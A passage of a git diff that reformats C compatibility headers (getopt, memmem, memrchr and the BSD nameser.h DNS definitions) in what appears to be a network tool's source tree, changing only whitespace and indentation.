*name; +#else + char *name; +#endif + /* has_arg can't be an enum because some compilers complain about + * type mismatches in all the code that assumes it is an int. */ + int has_arg; + int *flag; + int val; }; /* Names for the values of the `has_arg' field of `struct option'. */ -# define no_argument 0 -# define required_argument 1 -# define optional_argument 2 -#endif /* need getopt */ - +#define no_argument 0 +#define required_argument 1 +#define optional_argument 2 +#endif /* need getopt */ /* Get definitions and prototypes for functions to process the - arguments in ARGV (ARGC of them, minus the program name) for - options given in OPTS. - - Return the option character from OPTS just read. Return -1 when - there are no more options. For unrecognized options, or options - missing arguments, `optopt' is set to the option letter, and '?' is - returned. - - The OPTS string is a list of characters which are recognized option - letters, optionally followed by colons, specifying that that letter - takes an argument, to be placed in `optarg'. - - If a letter in OPTS is followed by two colons, its argument is - optional. This behavior is specific to the GNU `getopt'. - - The argument `--' causes premature termination of argument - scanning, explicitly telling `getopt' that there are no more - options. - - If OPTS begins with `--', then non-option arguments are treated as - arguments to the option '\0'. This behavior is specific to the GNU - `getopt'. */ + * arguments in ARGV (ARGC of them, minus the program name) for + * options given in OPTS. + * + * Return the option character from OPTS just read. Return -1 when + * there are no more options. For unrecognized options, or options + * missing arguments, `optopt' is set to the option letter, and '?' is + * returned. + * + * The OPTS string is a list of characters which are recognized option + * letters, optionally followed by colons, specifying that that letter + * takes an argument, to be placed in `optarg'. + * + * If a letter in OPTS is followed by two colons, its argument is + * optional. This behavior is specific to the GNU `getopt'. + * + * The argument `--' causes premature termination of argument + * scanning, explicitly telling `getopt' that there are no more + * options. + * + * If OPTS begins with `--', then non-option arguments are treated as + * arguments to the option '\0'. This behavior is specific to the GNU + * `getopt'. */ #if defined __STDC__ && __STDC__ -# ifdef __GNU_LIBRARY__ +#ifdef __GNU_LIBRARY__ /* Many other libraries have conflicting prototypes for getopt, with - differences in the consts, in stdlib.h. To avoid compilation - errors, only prototype getopt for the GNU C library. */ -extern int getopt (int __argc, char *const *__argv, const char *__shortopts); -# else /* not __GNU_LIBRARY__ */ -extern int getopt (); -# endif /* __GNU_LIBRARY__ */ - -# ifndef __need_getopt -extern int getopt_long (int __argc, char *const *__argv, const char *__shortopts, - const struct option *__longopts, int *__longind); -extern int getopt_long_only (int __argc, char *const *__argv, - const char *__shortopts, - const struct option *__longopts, int *__longind); + * differences in the consts, in stdlib.h. To avoid compilation + * errors, only prototype getopt for the GNU C library. */ +extern int getopt(int __argc, char *const *__argv, const char *__shortopts); +#else /* not __GNU_LIBRARY__ */ +extern int getopt(); +#endif /* __GNU_LIBRARY__ */ + +#ifndef __need_getopt +extern int getopt_long(int __argc, char *const *__argv, const char *__shortopts, + const struct option *__longopts, int *__longind); +extern int getopt_long_only(int __argc, char *const *__argv, + const char *__shortopts, + const struct option *__longopts, int *__longind); /* Internal only. Users should not call this directly. */ -extern int _getopt_internal (int __argc, char *const *__argv, - const char *__shortopts, - const struct option *__longopts, int *__longind, - int __long_only); -# endif +extern int _getopt_internal(int __argc, char *const *__argv, + const char *__shortopts, + const struct option *__longopts, int *__longind, + int __long_only); +#endif #else /* not __STDC__ */ -extern int getopt (); -# ifndef __need_getopt -extern int getopt_long (); -extern int getopt_long_only (); +extern int getopt(); +#ifndef __need_getopt +extern int getopt_long(); +extern int getopt_long_only(); -extern int _getopt_internal (); -# endif +extern int _getopt_internal(); +#endif #endif /* __STDC__ */ -#ifdef __cplusplus +#ifdef __cplusplus } #endif diff --git a/include/missing/memmem.h b/include/missing/memmem.h index cad4add4a..74a4ab338 100644 --- a/include/missing/memmem.h +++ b/include/missing/memmem.h @@ -2,7 +2,7 @@ #error Move this header somewhere else #endif -EC_API_EXTERN void * memmem(const void *haystack, size_t haystacklen, - const void *needle, size_t needlelen); +EC_API_EXTERN void *memmem(const void *haystack, size_t haystacklen, + const void *needle, size_t needlelen); /* EOF */ diff --git a/include/missing/memrchr.h b/include/missing/memrchr.h index 423ff225c..47cf0b11d 100644 --- a/include/missing/memrchr.h +++ b/include/missing/memrchr.h @@ -5,4 +5,3 @@ EC_API_EXTERN void *memrchr(const void *s, u_char c, size_t n); /* EOF */ - diff --git a/include/missing/nameser.h b/include/missing/nameser.h index 88c6e5792..2e2d9c85a 100644 --- a/include/missing/nameser.h +++ b/include/missing/nameser.h @@ -1,7 +1,7 @@ /* * Copyright (c) 1983, 1989, 1993 * The Regents of the University of California. All rights reserved. - * + * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: @@ -13,7 +13,7 @@ * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. - * + * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE @@ -58,18 +58,17 @@ /* # include */ #include #else -# include +#include #endif #ifdef HAVE_SYS_CDEFS_H - #include +#include #else - #define __BEGIN_DECLS /* No sane person would use C++ to build it anyway */ - #define __END_DECLS - #define __P(x) x +#define __BEGIN_DECLS /* No sane person would use C++ to build it anyway */ +#define __END_DECLS +#define __P(x) x #endif - /* * Revision information. This is the release date in YYYYMMDD format. * It can change every day so the right thing to do with it is use it @@ -78,39 +77,39 @@ * contains a new enough lib/nameser/ to support the feature you need. */ -#define __NAMESER 19991006 /* New interface version stamp. */ +#define __NAMESER 19991006 /* New interface version stamp. */ /* * Define constants based on RFC 883, RFC 1034, RFC 1035 */ -#define NS_PACKETSZ 512 /* maximum packet size */ -#define NS_MAXDNAME 1025 /* maximum domain name */ -#define NS_MAXCDNAME 255 /* maximum compressed domain name */ -#define NS_MAXLABEL 63 /* maximum length of domain label */ -#define NS_HFIXEDSZ 12 /* #/bytes of fixed data in header */ -#define NS_QFIXEDSZ 4 /* #/bytes of fixed data in query */ -#define NS_RRFIXEDSZ 10 /* #/bytes of fixed data in r record */ -#define NS_INT32SZ 4 /* #/bytes of data in a u_int32_t */ -#define NS_INT16SZ 2 /* #/bytes of data in a u_int16_t */ -#define NS_INT8SZ 1 /* #/bytes of data in a u_int8_t */ -#define NS_INADDRSZ 4 /* IPv4 T_A */ -#define NS_IN6ADDRSZ 16 /* IPv6 T_AAAA */ -#define NS_CMPRSFLGS 0xc0 /* Flag bits indicating name compression. */ -#define NS_DEFAULTPORT 53 /* For both TCP and UDP. */ +#define NS_PACKETSZ 512 /* maximum packet size */ +#define NS_MAXDNAME 1025 /* maximum domain name */ +#define NS_MAXCDNAME 255 /* maximum compressed domain name */ +#define NS_MAXLABEL 63 /* maximum length of domain label */ +#define NS_HFIXEDSZ 12 /* #/bytes of fixed data in header */ +#define NS_QFIXEDSZ 4 /* #/bytes of fixed data in query */ +#define NS_RRFIXEDSZ 10 /* #/bytes of fixed data in r record */ +#define NS_INT32SZ 4 /* #/bytes of data in a u_int32_t */ +#define NS_INT16SZ 2 /* #/bytes of data in a u_int16_t */ +#define NS_INT8SZ 1 /* #/bytes of data in a u_int8_t */ +#define NS_INADDRSZ 4 /* IPv4 T_A */ +#define NS_IN6ADDRSZ 16 /* IPv6 T_AAAA */ +#define NS_CMPRSFLGS 0xc0 /* Flag bits indicating name compression. */ +#define NS_DEFAULTPORT 53 /* For both TCP and UDP. */ /* * These can be expanded with synonyms, just keep ns_parse.c:ns_parserecord() * in synch with it. */ typedef enum __ns_sect { - ns_s_qd = 0, /* Query: Question. */ - ns_s_zn = 0, /* Update: Zone. */ - ns_s_an = 1, /* Query: Answer. */ - ns_s_pr = 1, /* Update: Prerequisites. */ - ns_s_ns = 2, /* Query: Name servers. */ - ns_s_ud = 2, /* Update: Update. */ - ns_s_ar = 3, /* Query|Update: Additional records. */ - ns_s_max = 4 + ns_s_qd = 0, /* Query: Question. */ + ns_s_zn = 0, /* Update: Zone. */ + ns_s_an = 1, /* Query: Answer. */ + ns_s_pr = 1, /* Update: Prerequisites. */ + ns_s_ns = 2, /* Query: Name servers. */ + ns_s_ud = 2, /* Update: Update. */ + ns_s_ar = 3, /* Query|Update: Additional records. */ + ns_s_max = 4 } ns_sect; /* @@ -119,23 +118,25 @@ typedef enum __ns_sect { * leading _'s on the member names. Use the accessor functions, not the _'s. */ typedef struct __ns_msg { - const u_char *_msg, *_eom; - u_int16_t _id, _flags, _counts[ns_s_max]; - const u_char *_sections[ns_s_max]; - ns_sect _sect; - int _rrnum; - const u_char *_ptr; + const u_char *_msg, *_eom; + u_int16_t _id, _flags, _counts[ns_s_max]; + const u_char *_sections[ns_s_max]; + ns_sect _sect; + int _rrnum; + const u_char *_ptr; } ns_msg; /* Private data structure - do not use from outside library. */ -struct _ns_flagdata { int mask, shift; }; +struct _ns_flagdata { int mask, shift; +}; extern struct _ns_flagdata _ns_flagdata[]; /* Accessor macros - this is part of the public interface. */ -#define ns_msg_getflag(handle, flag) ( \ - ((handle)._flags & _ns_flagdata[flag].mask) \ - >> _ns_flagdata[flag].shift \ - ) +#define ns_msg_getflag(handle, flag) \ + ( \ + ((handle)._flags & _ns_flagdata[flag].mask) \ + >> _ns_flagdata[flag].shift \ + ) #define ns_msg_id(handle) ((handle)._id + 0) #define ns_msg_base(handle) ((handle)._msg + 0) #define ns_msg_end(handle) ((handle)._eom + 0) @@ -145,22 +146,22 @@ extern struct _ns_flagdata _ns_flagdata[]; /* * This is a parsed record. It is caller allocated and has no dynamic data. */ -typedef struct __ns_rr { - char name[NS_MAXDNAME]; - u_int16_t type; - u_int16_t rr_class; - u_int32_t ttl; - u_int16_t rdlength; - const u_char * rdata; +typedef struct __ns_rr { + char name[NS_MAXDNAME]; + u_int16_t type; + u_int16_t rr_class; + u_int32_t ttl; + u_int16_t rdlength; + const u_char *rdata; } ns_rr; /* Accessor macros - this is part of the public interface. */ -#define ns_rr_name(rr) (((rr).name[0] != '\0') ? (rr).name : ".") -#define ns_rr_type(rr) ((ns_type)((rr).type + 0)) -#define ns_rr_class(rr) ((ns_class)((rr).rr_class + 0)) -#define ns_rr_ttl(rr) ((rr).ttl + 0) -#define ns_rr_rdlen(rr) ((rr).rdlength + 0) -#define ns_rr_rdata(rr) ((rr).rdata + 0) +#define ns_rr_name(rr) (((rr).name[0] != '\0') ? (rr).name : ".") +#define ns_rr_type(rr) ((ns_type)((rr).type + 0)) +#define ns_rr_class(rr) ((ns_class)((rr).rr_class + 0)) +#define ns_rr_ttl(rr) ((rr).ttl + 0) +#define ns_rr_rdlen(rr) ((rr).rdlength + 0) +#define ns_rr_rdata(rr) ((rr).rdata + 0) /* * These don't have to be in the same order as in the packet flags word, @@ -168,69 +169,69 @@ typedef struct __ns_rr { * in synch with ns_parse.c:ns_flagdata[]. */ typedef enum __ns_flag { - ns_f_qr, /* Question/Response. */ - ns_f_opcode, /* Operation code. */ - ns_f_aa, /* Authoritative Answer. */ - ns_f_tc, /* Truncation occurred. */ - ns_f_rd, /* Recursion Desired. */ - ns_f_ra, /* Recursion Available. */ - ns_f_z, /* MBZ. */ - ns_f_ad, /* Authentic Data (DNSSEC). */ - ns_f_cd, /* Checking Disabled (DNSSEC). */ - ns_f_rcode, /* Response code. */ - ns_f_max + ns_f_qr, /* Question/Response. */ + ns_f_opcode, /* Operation code. */ + ns_f_aa, /* Authoritative Answer. */ + ns_f_tc, /* Truncation occurred. */ + ns_f_rd, /* Recursion Desired. */ + ns_f_ra, /* Recursion Available. */ + ns_f_z, /* MBZ. */ + ns_f_ad, /* Authentic Data (DNSSEC). */ + ns_f_cd, /* Checking Disabled (DNSSEC). */ + ns_f_rcode, /* Response code. */ + ns_f_max } ns_flag; /* * Currently defined opcodes. */ typedef enum __ns_opcode { - ns_o_query = 0, /* Standard query. */ - ns_o_iquery = 1, /* Inverse query (deprecated/unsupported). */ - ns_o_status = 2, /* Name server status query (unsupported). */ - /* Opcode 3 is undefined/reserved. */ - ns_o_notify = 4, /* Zone change notification. */ - ns_o_update = 5, /* Zone update message. */ - ns_o_max = 6 + ns_o_query = 0, /* Standard query. */ + ns_o_iquery = 1, /* Inverse query (deprecated/unsupported). */ + ns_o_status = 2, /* Name server status query (unsupported). */ + /* Opcode 3 is undefined/reserved. */ + ns_o_notify = 4, /* Zone change notification. */ + ns_o_update = 5, /* Zone update message. */ + ns_o_max = 6 } ns_opcode; /* * Currently defined response codes. */ -typedef enum __ns_rcode { - ns_r_noerror = 0, /* No error occurred. */ - ns_r_formerr = 1, /* Format error. */ - ns_r_servfail = 2, /* Server failure. */ - ns_r_nxdomain = 3, /* Name error. */ - ns_r_notimpl = 4, /* Unimplemented. */ - ns_r_refused = 5, /* Operation refused. */ - /* these are for BIND_UPDATE */ - ns_r_yxdomain = 6, /* Name exists */ - ns_r_yxrrset = 7, /* RRset exists */ - ns_r_nxrrset = 8, /* RRset does not exist */ - ns_r_notauth = 9, /* Not authoritative for zone */ - ns_r_notzone = 10, /* Zone of record different from zone section */ - ns_r_max = 11, - /* The following are TSIG extended errors */ - ns_r_badsig = 16, - ns_r_badkey = 17, - ns_r_badtime = 18 +typedef enum __ns_rcode { + ns_r_noerror = 0, /* No error occurred. */ + ns_r_formerr = 1, /* Format error. */ + ns_r_servfail = 2, /* Server failure. */ + ns_r_nxdomain = 3, /* Name error. */ + ns_r_notimpl = 4, /* Unimplemented. */ + ns_r_refused = 5, /* Operation refused. */ + /* these are for BIND_UPDATE */ + ns_r_yxdomain = 6, /* Name exists */ + ns_r_yxrrset = 7, /* RRset exists */ + ns_r_nxrrset = 8, /* RRset does not exist */ + ns_r_notauth = 9, /* Not authoritative for zone */ + ns_r_notzone = 10, /* Zone of record different from zone section */ + ns_r_max = 11, + /* The following are TSIG extended errors */ + ns_r_badsig = 16, + ns_r_badkey = 17, + ns_r_badtime = 18 } ns_rcode; /* BIND_UPDATE */ typedef enum __ns_update_operation { - ns_uop_delete = 0, - ns_uop_add = 1, - ns_uop_max = 2 + ns_uop_delete = 0, + ns_uop_add = 1, + ns_uop_max = 2 } ns_update_operation; /* * This structure is used for TSIG authenticated messages */ struct ns_tsig_key { - char name[NS_MAXDNAME], alg[NS_MAXDNAME]; - unsigned char *data; - int len; + char name[NS_MAXDNAME], alg[NS_MAXDNAME]; + unsigned char *data; + int len; }; typedef struct ns_tsig_key ns_tsig_key; @@ -238,11 +239,11 @@ typedef struct ns_tsig_key ns_tsig_key; * This structure is used for TSIG authenticated TCP messages */ struct ns_tcp_tsig_state { - int counter; - struct dst_key *key; - void *ctx; - unsigned char sig[NS_PACKETSZ]; - int siglen; + int counter; + struct dst_key *key; + void *ctx; + unsigned char sig[NS_PACKETSZ]; + int siglen; }; typedef struct ns_tcp_tsig_state ns_tcp_tsig_state; @@ -258,140 +259,143 @@ typedef struct ns_tcp_tsig_state ns_tcp_tsig_state; * Currently defined type values for resources and queries. */ typedef enum __ns_type { - ns_t_invalid = 0, /* Cookie. */ - ns_t_a = 1, /* Host address. */ - ns_t_ns = 2, /* Authoritative server. */ - ns_t_md = 3, /* Mail destination. */ - ns_t_mf = 4, /* Mail forwarder. */ - ns_t_cname = 5, /* Canonical name. */ - ns_t_soa = 6, /* Start of authority zone. */ - ns_t_mb = 7, /* Mailbox domain name. */ - ns_t_mg = 8, /* Mail group member. */ - ns_t_mr = 9, /* Mail rename name. */ - ns_t_null = 10, /* Null resource record. */ - ns_t_wks = 11, /* Well known service. */ - ns_t_ptr = 12, /* Domain name pointer. */ - ns_t_hinfo = 13, /* Host information. */ - ns_t_minfo = 14, /* Mailbox information. */ - ns_t_mx = 15, /* Mail routing information. */ - ns_t_txt = 16, /* Text strings. */ - ns_t_rp = 17, /* Responsible person. */ - ns_t_afsdb = 18, /* AFS cell database. */ - ns_t_x25 = 19, /* X_25 calling address. */ - ns_t_isdn = 20, /* ISDN calling address. */ - ns_t_rt = 21, /* Router. */ - ns_t_nsap = 22, /* NSAP address. */ - ns_t_nsap_ptr = 23, /* Reverse NSAP lookup (deprecated). */ - ns_t_sig = 24, /* Security signature. */ - ns_t_key = 25, /* Security key. */ - ns_t_px = 26, /* X.400 mail mapping. */ - ns_t_gpos = 27, /* Geographical position (withdrawn). */ - ns_t_aaaa = 28, /* Ip6 Address. */ - ns_t_loc = 29, /* Location Information. */ - ns_t_nxt = 30, /* Next domain (security). */ - ns_t_eid = 31, /* Endpoint identifier. */ - ns_t_nimloc = 32, /* Nimrod Locator. */ - ns_t_srv = 33, /* Server Selection. */ - ns_t_atma = 34, /* ATM Address */ - ns_t_naptr = 35, /* Naming Authority PoinTeR */ - ns_t_kx = 36, /* Key Exchange */ - ns_t_cert = 37, /* Certification record */ - ns_t_a6 = 38, /* IPv6 address (deprecates AAAA) */ - ns_t_dname = 39, /* Non-terminal DNAME (for IPv6) */ - ns_t_sink = 40, /* Kitchen sink (experimentatl) */ - ns_t_opt = 41, /* EDNS0 option (meta-RR) */ - ns_t_tsig = 250, /* Transaction signature. */ - ns_t_ixfr = 251, /* Incremental zone transfer. */ - ns_t_axfr = 252, /* Transfer zone of authority. */ - ns_t_mailb = 253, /* Transfer mailbox records. */ - ns_t_maila = 254, /* Transfer mail agent records. */ - ns_t_any = 255, /* Wildcard match. */ - ns_t_zxfr = 256, /* BIND-specific, nonstandard. */ - ns_t_max = 65536 + ns_t_invalid = 0, /* Cookie. */ + ns_t_a = 1, /* Host address. */ + ns_t_ns = 2, /* Authoritative server. */ + ns_t_md = 3, /* Mail destination. */ + ns_t_mf = 4, /* Mail forwarder. */ + ns_t_cname = 5, /* Canonical name. */ + ns_t_soa = 6, /* Start of authority zone. */ + ns_t_mb = 7, /* Mailbox domain name. */ + ns_t_mg = 8, /* Mail group member. */ + ns_t_mr = 9, /* Mail rename name. */ + ns_t_null = 10, /* Null resource record. */ + ns_t_wks = 11, /* Well known service. */ + ns_t_ptr = 12, /* Domain name pointer. */ + ns_t_hinfo = 13, /* Host information. */ + ns_t_minfo = 14, /* Mailbox information. */ + ns_t_mx = 15, /* Mail routing information. */ + ns_t_txt = 16, /* Text strings. */ + ns_t_rp = 17, /* Responsible person. */ + ns_t_afsdb = 18, /* AFS cell database. */ + ns_t_x25 = 19, /* X_25 calling address. */ + ns_t_isdn = 20, /* ISDN calling address. */ + ns_t_rt = 21, /* Router. */ + ns_t_nsap = 22, /* NSAP address. */ + ns_t_nsap_ptr = 23, /* Reverse NSAP lookup (deprecated). */ + ns_t_sig = 24, /* Security signature. */ + ns_t_key = 25, /* Security key. */ + ns_t_px = 26, /* X.400 mail mapping. */ + ns_t_gpos = 27, /* Geographical position (withdrawn). */ + ns_t_aaaa = 28, /* Ip6 Address. */ + ns_t_loc = 29, /* Location Information. */ + ns_t_nxt = 30, /* Next domain (security). */ + ns_t_eid = 31, /* Endpoint identifier. */ + ns_t_nimloc = 32, /* Nimrod Locator. */ + ns_t_srv = 33, /* Server Selection. */ + ns_t_atma = 34, /* ATM Address */ + ns_t_naptr = 35, /* Naming Authority PoinTeR */ + ns_t_kx = 36, /* Key Exchange */ + ns_t_cert = 37, /* Certification record */ + ns_t_a6 = 38, /* IPv6 address (deprecates AAAA) */ + ns_t_dname = 39, /* Non-terminal DNAME (for IPv6) */ + ns_t_sink = 40, /* Kitchen sink (experimentatl) */ + ns_t_opt = 41, /* EDNS0 option (meta-RR) */ + ns_t_tsig = 250, /* Transaction signature. */ + ns_t_ixfr = 251, /* Incremental zone transfer. */ + ns_t_axfr = 252, /* Transfer zone of authority. */ + ns_t_mailb = 253, /* Transfer mailbox records. */ + ns_t_maila = 254, /* Transfer mail agent records. */ + ns_t_any = 255, /* Wildcard match. */ + ns_t_zxfr = 256, /* BIND-specific, nonstandard. */ + ns_t_max = 65536 } ns_type; /* Exclusively a QTYPE? (not also an RTYPE) */ -#define ns_t_qt_p(t) (ns_t_xfr_p(t) || (t) == ns_t_any || \ - (t) == ns_t_mailb || (t) == ns_t_maila) +#define ns_t_qt_p(t) \ + (ns_t_xfr_p(t) || (t) == ns_t_any || \ + (t) == ns_t_mailb || (t) == ns_t_maila) /* Some kind of meta-RR? (not a QTYPE, but also not an RTYPE) */ -#define ns_t_mrr_p(t) ((t) == ns_t_tsig || (t) == ns_t_opt) +#define ns_t_mrr_p(t) ((t) == ns_t_tsig || (t) == ns_t_opt) /* Exclusively an RTYPE? (not also a QTYPE or a meta-RR) */ #define ns_t_rr_p(t) (!ns_t_qt_p(t) && !ns_t_mrr_p(t)) #define ns_t_udp_p(t) ((t) != ns_t_axfr && (t) != ns_t_zxfr) -#define ns_t_xfr_p(t) ((t) == ns_t_axfr || (t) == ns_t_ixfr || \ - (t) == ns_t_zxfr) +#define ns_t_xfr_p(t) \ + ((t) == ns_t_axfr || (t) == ns_t_ixfr || \ + (t) == ns_t_zxfr) /* * Values for class field */ typedef enum __ns_class { - ns_c_invalid = 0, /* Cookie. */ - ns_c_in = 1, /* Internet. */ - ns_c_2 = 2, /* unallocated/unsupported. */ - ns_c_chaos = 3, /* MIT Chaos-net. */ - ns_c_hs = 4, /* MIT Hesiod. */ - /* Query class values which do not appear in resource records */ - ns_c_none = 254, /* for prereq. sections in update requests */ - ns_c_any = 255, /* Wildcard match. */ - ns_c_max = 65536 + ns_c_invalid = 0, /* Cookie. */ + ns_c_in = 1, /* Internet. */ + ns_c_2 = 2, /* unallocated/unsupported. */ + ns_c_chaos = 3, /* MIT Chaos-net. */ + ns_c_hs = 4, /* MIT Hesiod. */ + /* Query class values which do not appear in resource records */ + ns_c_none = 254, /* for prereq. sections in update requests */ + ns_c_any = 255, /* Wildcard match. */ + ns_c_max = 65536 } ns_class; /* DNSSEC constants. */ typedef enum __ns_key_types { - ns_kt_rsa = 1, /* key type RSA/MD5 */ - ns_kt_dh = 2, /* Diffie Hellman */ - ns_kt_dsa = 3, /* Digital Signature Standard (MANDATORY) */ - ns_kt_private = 254 /* Private key type starts with OID */ + ns_kt_rsa = 1, /* key type RSA/MD5 */ + ns_kt_dh = 2, /* Diffie Hellman */ + ns_kt_dsa = 3, /* Digital Signature Standard (MANDATORY) */ + ns_kt_private = 254 /* Private key type starts with OID */ } ns_key_types; typedef enum __ns_cert_types { - cert_t_pkix = 1, /* PKIX (X.509v3) */ - cert_t_spki = 2, /* SPKI */ - cert_t_pgp = 3, /* PGP */ - cert_t_url = 253, /* URL private type */ - cert_t_oid = 254 /* OID private type */ + cert_t_pkix = 1, /* PKIX (X.509v3) */ + cert_t_spki = 2, /* SPKI */ + cert_t_pgp = 3, /* PGP */ + cert_t_url = 253, /* URL private type */ + cert_t_oid = 254 /* OID private type */ } ns_cert_types; /* Flags field of the KEY RR rdata. */ -#define NS_KEY_TYPEMASK 0xC000 /* Mask for "type" bits */ -#define NS_KEY_TYPE_AUTH_CONF 0x0000 /* Key usable for both */ -#define NS_KEY_TYPE_CONF_ONLY 0x8000 /* Key usable for confidentiality */ -#define NS_KEY_TYPE_AUTH_ONLY 0x4000 /* Key usable for authentication */ -#define NS_KEY_TYPE_NO_KEY 0xC000 /* No key usable for either; no key */ +#define NS_KEY_TYPEMASK 0xC000 /* Mask for "type" bits */ +#define NS_KEY_TYPE_AUTH_CONF 0x0000 /* Key usable for both */ +#define NS_KEY_TYPE_CONF_ONLY 0x8000 /* Key usable for confidentiality */ +#define NS_KEY_TYPE_AUTH_ONLY 0x4000 /* Key usable for authentication */ +#define NS_KEY_TYPE_NO_KEY 0xC000 /* No key usable for either; no key */ /* The type bits can also be interpreted independently, as single bits: */ -#define NS_KEY_NO_AUTH 0x8000 /* Key unusable for authentication */ -#define NS_KEY_NO_CONF 0x4000 /* Key unusable for confidentiality */ -#define NS_KEY_RESERVED2 0x2000 /* Security is *mandatory* if bit=0 */ -#define NS_KEY_EXTENDED_FLAGS 0x1000 /* reserved - must be zero */ -#define NS_KEY_RESERVED4 0x0800 /* reserved - must be zero */ -#define NS_KEY_RESERVED5 0x0400 /* reserved - must be zero */ -#define NS_KEY_NAME_TYPE 0x0300 /* these bits determine the type */ -#define NS_KEY_NAME_USER 0x0000 /* key is assoc. with user */ -#define NS_KEY_NAME_ENTITY 0x0200 /* key is assoc. with entity eg host */ -#define NS_KEY_NAME_ZONE 0x0100 /* key is zone key */ -#define NS_KEY_NAME_RESERVED 0x0300 /* reserved meaning */ -#define NS_KEY_RESERVED8 0x0080 /* reserved - must be zero */ -#define NS_KEY_RESERVED9 0x0040 /* reserved - must be zero */ -#define NS_KEY_RESERVED10 0x0020 /* reserved - must be zero */ -#define NS_KEY_RESERVED11 0x0010 /* reserved - must be zero */ -#define NS_KEY_SIGNATORYMASK 0x000F /* key can sign RR's of same name */ -#define NS_KEY_RESERVED_BITMASK ( NS_KEY_RESERVED2 | \ - NS_KEY_RESERVED4 | \ - NS_KEY_RESERVED5 | \ - NS_KEY_RESERVED8 | \ - NS_KEY_RESERVED9 | \ - NS_KEY_RESERVED10 | \ - NS_KEY_RESERVED11 ) +#define NS_KEY_NO_AUTH 0x8000 /* Key unusable for authentication */ +#define NS_KEY_NO_CONF 0x4000 /* Key unusable for confidentiality */ +#define NS_KEY_RESERVED2 0x2000 /* Security is *mandatory* if bit=0 */ +#define NS_KEY_EXTENDED_FLAGS 0x1000 /* reserved - must be zero */ +#define NS_KEY_RESERVED4 0x0800 /* reserved - must be zero */ +#define NS_KEY_RESERVED5 0x0400 /* reserved - must be zero */ +#define NS_KEY_NAME_TYPE 0x0300 /* these bits determine the type */ +#define NS_KEY_NAME_USER 0x0000 /* key is assoc. with user */ +#define NS_KEY_NAME_ENTITY 0x0200 /* key is assoc. with entity eg host */ +#define NS_KEY_NAME_ZONE 0x0100 /* key is zone key */ +#define NS_KEY_NAME_RESERVED 0x0300 /* reserved meaning */ +#define NS_KEY_RESERVED8 0x0080 /* reserved - must be zero */ +#define NS_KEY_RESERVED9 0x0040 /* reserved - must be zero */ +#define NS_KEY_RESERVED10 0x0020 /* reserved - must be zero */ +#define NS_KEY_RESERVED11 0x0010 /* reserved - must be zero */ +#define NS_KEY_SIGNATORYMASK 0x000F /* key can sign RR's of same name */ +#define NS_KEY_RESERVED_BITMASK \ + (NS_KEY_RESERVED2 | \ + NS_KEY_RESERVED4 | \ + NS_KEY_RESERVED5 | \ + NS_KEY_RESERVED8 | \ + NS_KEY_RESERVED9 | \ + NS_KEY_RESERVED10 | \ + NS_KEY_RESERVED11) #define NS_KEY_RESERVED_BITMASK2 0xFFFF /* no bits defined here */ /* The Algorithm field of the KEY and SIG RR's is an integer, {1..254} */ -#define NS_ALG_MD5RSA 1 /* MD5 with RSA */ -#define NS_ALG_DH 2 /* Diffie Hellman KEY */ -#define NS_ALG_DSA 3 /* DSA KEY */ -#define NS_ALG_DSS NS_ALG_DSA -#define NS_ALG_EXPIRE_ONLY 253 /* No alg, no security */ -#define NS_ALG_PRIVATE_OID 254 /* Key begins with OID giving alg */ +#define NS_ALG_MD5RSA 1 /* MD5 with RSA */ +#define NS_ALG_DH 2 /* Diffie Hellman KEY */ +#define NS_ALG_DSA 3 /* DSA KEY */ +#define NS_ALG_DSS NS_ALG_DSA +#define NS_ALG_EXPIRE_ONLY 253 /* No alg, no security */ +#define NS_ALG_PRIVATE_OID 254 /* Key begins with OID giving alg */ /* Protocol values */ /* value 0 is reserved */ @@ -399,162 +403,166 @@ typedef enum __ns_cert_types { #define NS_KEY_PROT_EMAIL 2 #define NS_KEY_PROT_DNSSEC 3 #define NS_KEY_PROT_IPSEC 4 -#define NS_KEY_PROT_ANY 255 +#define NS_KEY_PROT_ANY 255 /* Signatures */ -#define NS_MD5RSA_MIN_BITS 512 /* Size of a mod or exp in bits */ -#define NS_MD5RSA_MAX_BITS 2552 - /* Total of binary mod and exp */ -#define NS_MD5RSA_MAX_BYTES ((NS_MD5RSA_MAX_BITS+7/8)*2+3) - /* Max length of text sig block */ -#define NS_MD5RSA_MAX_BASE64 (((NS_MD5RSA_MAX_BYTES+2)/3)*4) -#define NS_MD5RSA_MIN_SIZE ((NS_MD5RSA_MIN_BITS+7)/8) -#define NS_MD5RSA_MAX_SIZE ((NS_MD5RSA_MAX_BITS+7)/8) +#define NS_MD5RSA_MIN_BITS 512 /* Size of a mod or exp in bits */ +#define NS_MD5RSA_MAX_BITS 2552 +/* Total of binary mod and exp */ +#define NS_MD5RSA_MAX_BYTES ((NS_MD5RSA_MAX_BITS + 7 / 8) * 2 + 3) +/* Max length of text sig block */ +#define NS_MD5RSA_MAX_BASE64 (((NS_MD5RSA_MAX_BYTES + 2) / 3) * 4) +#define NS_MD5RSA_MIN_SIZE ((NS_MD5RSA_MIN_BITS + 7) / 8) +#define NS_MD5RSA_MAX_SIZE ((NS_MD5RSA_MAX_BITS + 7) / 8) #define NS_DSA_SIG_SIZE 41 #define NS_DSA_MIN_SIZE 213 #define NS_DSA_MAX_BYTES 405 /* Offsets into SIG record rdata to find various values */ -#define NS_SIG_TYPE 0 /* Type flags */ -#define NS_SIG_ALG 2 /* Algorithm */ -#define NS_SIG_LABELS 3 /* How many labels in name */ -#define NS_SIG_OTTL 4 /* Original TTL */ -#define NS_SIG_EXPIR 8 /* Expiration time */ -#define NS_SIG_SIGNED 12 /* Signature time */ -#define NS_SIG_FOOT 16 /* Key footprint */ -#define NS_SIG_SIGNER 18 /* Domain name of who signed it */ +#define NS_SIG_TYPE 0 /* Type flags */ +#define NS_SIG_ALG 2 /* Algorithm */ +#define NS_SIG_LABELS 3 /* How many labels in name */ +#define NS_SIG_OTTL 4 /* Original TTL */ +#define NS_SIG_EXPIR 8 /* Expiration time */ +#define NS_SIG_SIGNED 12 /* Signature time */ +#define NS_SIG_FOOT 16 /* Key footprint */ +#define NS_SIG_SIGNER 18 /* Domain name of who signed it */ /* How RR types are represented as bit-flags in NXT records */ -#define NS_NXT_BITS 8 -#define NS_NXT_BIT_SET( n,p) (p[(n)/NS_NXT_BITS] |= 